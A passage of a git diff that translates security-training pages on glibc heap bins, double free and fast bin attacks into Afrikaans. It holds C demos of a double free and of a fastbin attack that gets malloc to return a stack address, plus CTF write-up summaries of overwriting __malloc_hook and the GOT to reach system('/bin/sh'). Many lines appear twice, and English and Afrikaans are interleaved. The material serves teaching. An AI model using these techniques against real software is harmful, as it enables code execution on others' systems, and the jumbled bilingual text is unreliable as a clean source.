((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Voeg 'n groot stuk voorbeeld toe</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2 groot toewysings word uitgevoer, dan word een vrygestel (wat dit in die ongesorteerde bin plaas) en 'n groter toewysing word gemaak (wat die vrye een van die ongesorteerde bin na die groot bin beweeg).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Kompileer dit en debugeer dit met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die groot bin is:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Basies, dit is 'n stuk wat al die tans beskikbare heap bevat. Wanneer 'n malloc uitgevoer word, as daar nie enige beskikbare vrye stuk is om te gebruik nie, sal hierdie top stuk sy grootte verminder om die nodige ruimte te gee.\
Die pointer na die Top Chunk word in die `malloc_state` struktuur gestoor.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
Boonop, aan die begin, is dit moontlik om die onsortering stuk as die top stuk te gebruik.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Observeer die Top Chunk voorbeeld</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
Na die kompilering en debuggery daarvan met 'n breekpunt in die `ret` opcode van `main` het ek gesien dat die malloc die adres `0xaaaaaaac12a0` teruggegee het en dit is die stukke:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Waar dit gesien kan word dat die top chunk op adres `0xaaaaaaac1ae0` is. Dit is geen verrassing nie, want die laaste toegewyse chunk was in `0xaaaaaaac12a0` met 'n grootte van `0x410` en `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Dit is ook moontlik om die lengte van die Top chunk op sy chunk header te sien:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Laaste Restant
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
Wanneer malloc gebruik word en 'n stuk verdeel word (van die ongesorteerde bin of van die boonste stuk byvoorbeeld), word die stuk wat geskep word uit die res van die verdeelde stuk Laaste Restant genoem en sy pointer word in die `malloc_state` struktuur gestoor.
## Allocation Flow
## Toewysingsvloei
Check out:
Kyk na:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Vryvloei
Check out:
Kyk na:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Heap Funksies Sekuriteitskontroles
Check the security checks performed by heavily used functions in heap in:
Kyk na die sekuriteitskontroles wat uitgevoer word deur baie gebruikte funksies in die heap in:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Verwysings
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -1,92 +1,90 @@
# Double Free
# Dubbele Vry
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
As jy 'n blok geheue meer as een keer vrymaak, kan dit die toewysersdata verwar en die deur oopmaak vir aanvalle. Hier is hoe dit gebeur: wanneer jy 'n blok geheue vrymaak, gaan dit terug in 'n lys van vrye stukke (bv. die "vinnige bin"). As jy dieselfde blok twee keer agtereenvolgens vrymaak, detecteer die toewysers dit en gooi 'n fout. Maar as jy **'n ander stuk tussenin vrymaak, word die dubbele-vry kontrole omseil**, wat korrupsie veroorsaak.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Example:
Nou, wanneer jy vir nuwe geheue vra (met `malloc`), kan die toewysers jou 'n **blok gee wat twee keer vrygemaak is**. Dit kan lei tot twee verskillende wysers wat na dieselfde geheue ligging wys. As 'n aanvaller een van daardie wysers beheer, kan hulle die inhoud van daardie geheue verander, wat sekuriteitsprobleme kan veroorsaak of selfs toelaat dat hulle kode uitvoer.
Voorbeeld:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
In hierdie voorbeeld, nadat die tcache met verskeie vrygestelde stukke (7) gevul is, **vry die stuk `h`, dan die stuk `i`, en dan weer `h`, wat 'n dubbele vrystelling veroorsaak** (ook bekend as Fast Bin dup). Dit open die moontlikheid om oorvleuelende geheue adresse te ontvang wanneer heraangewys word, wat beteken dat twee of meer pointers na dieselfde geheue ligging kan wys. Deur data deur een pointer te manipuleer, kan dit dan die ander beïnvloed, wat 'n kritieke sekuriteitsrisiko en potensiaal vir uitbuiting skep.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Wanneer dit uitgevoer word, let op hoe **`i1` en `i2` dieselfde adres gekry het**:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>Begin toewysings:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
Na heraangewysings:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Voorbeelde
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Ons kan slegs Fast-Bin-grootte stukke toewys, behalwe vir grootte `0x70`, wat die gewone `__malloc_hook` oorskryding voorkom.
- In plaas daarvan, gebruik ons PIE adresse wat met `0x56` begin as 'n teiken vir Fast Bin dup (1/2 kans).
- Een plek waar PIE adresse gestoor word, is in `main_arena`, wat binne Glibc is en naby `__malloc_hook`
- Ons teiken 'n spesifieke offset van `main_arena` om 'n stuk daar toe te wys en voort te gaan om stukke toe te wys totdat ons by `__malloc_hook` kom om kode-uitvoering te verkry.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Deur Tcache-bins en 'n null-byte oorgang te gebruik, kan ons 'n dubbele-vrystelling situasie bereik:
- Ons wys drie stukke van grootte `0x110` (`A`, `B`, `C`)
- Ons vry `B`
- Ons vry `A` en wys weer om die null-byte oorgang te gebruik
- Nou is `B` se grootte veld `0x100`, in plaas van `0x111`, so ons kan dit weer vrymaak
- Ons het een Tcache-bin van grootte `0x110` en een van grootte `0x100` wat na dieselfde adres wys. So ons het 'n dubbele vrystelling.
- Ons benut die dubbele vrystelling deur [Tcache poisoning](tcache-bin-attack.md)
## References
## Verwysings
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
For more information about what is a fast bin check this page:
Vir meer inligting oor wat 'n fast bin is, kyk na hierdie bladsy:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Omdat die fast bin 'n enkel-gelinkte lys is, is daar baie minder beskermings as in ander bins en net **die aanpassing van 'n adres in 'n vrygestelde fast bin** stuk is genoeg om **later 'n stuk in enige geheue adres te kan toewys**.
As opsomming:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Jy kan 'n volledige voorbeeld vind in 'n baie goed verduidelik kode van [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> As dit moontlik is om die waarde van die globale veranderlike **`global_max_fast`** met 'n groot getal te oorskryf, stel dit in staat om vinnige bin stukke van groter groottes te genereer, wat moontlik vinnige bin aanvalle in scenario's toelaat waar dit voorheen nie moontlik was nie. Hierdie situasie is nuttig in die konteks van [large bin attack](large-bin-attack.md) en [unsorted bin attack](unsorted-bin-attack.md)
## Examples
## Voorbeelde
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- Dit is moontlik om stukke toe te ken, hulle vry te stel, hul inhoud te lees en hulle te vul (met 'n oorgang kwesbaarheid).
- **Konsolideer stuk vir infoleak**: Die tegniek is basies om die oorgang te misbruik om 'n vals `prev_size` te skep sodat een vorige stuk in 'n groter een geplaas word, sodat wanneer die groter een wat 'n ander stuk bevat, toegeken word, dit moontlik is om sy data te druk en 'n adres na libc (`main_arena+88`) te lek.
- **Oorskryf malloc hook**: Hiervoor, en deur die vorige oorvleueling situasie te misbruik, was dit moontlik om 2 stukke te hê wat na dieselfde geheue gewys het. Daarom, deur hulle albei vry te stel (nog 'n stuk tussenin vry te stel om beskermings te vermy) was dit moontlik om dieselfde stuk in die vinnige bin 2 keer te hê. Toe was dit moontlik om dit weer toe te ken, die adres na die volgende stuk te oorskryf om 'n bietjie voor `__malloc_hook` te wys (sodat dit na 'n heelgetal wys wat malloc dink is 'n vrye grootte - nog 'n omseiling), dit weer toe te ken en dan 'n ander stuk toe te ken wat 'n adres na malloc hooks sal ontvang.\
Uiteindelik is 'n **one gadget** daar geskryf.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Daar is 'n heap oorgang en gebruik na vry en dubbele vry omdat wanneer 'n stuk vrygestel word, dit moontlik is om die punters te hergebruik en weer vry te stel.
- **Libc info leak**: Vry net 'n paar stukke en hulle sal 'n punter na 'n deel van die hoof arena ligging kry. Aangesien jy vrygestelde punters kan hergebruik, lees net hierdie adres.
- **Fast bin aanval**: Al die punters na die toekennings word binne 'n array gestoor, so ons kan 'n paar vinnige bin stukke vrystel en in die laaste een die adres oorskryf om 'n bietjie voor hierdie array van punters te wys. Dan, ken 'n paar stukke met dieselfde grootte toe en ons sal eers die wettige een kry en dan die vals een wat die array van punters bevat. Ons kan nou hierdie toekenning punters oorskryf om die GOT adres van `free` na `system` te laat wys en dan `"/bin/sh"` in stuk 1 te skryf om dan `free(chunk1)` aan te roep wat in plaas daarvan `system("/bin/sh")` sal uitvoer.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
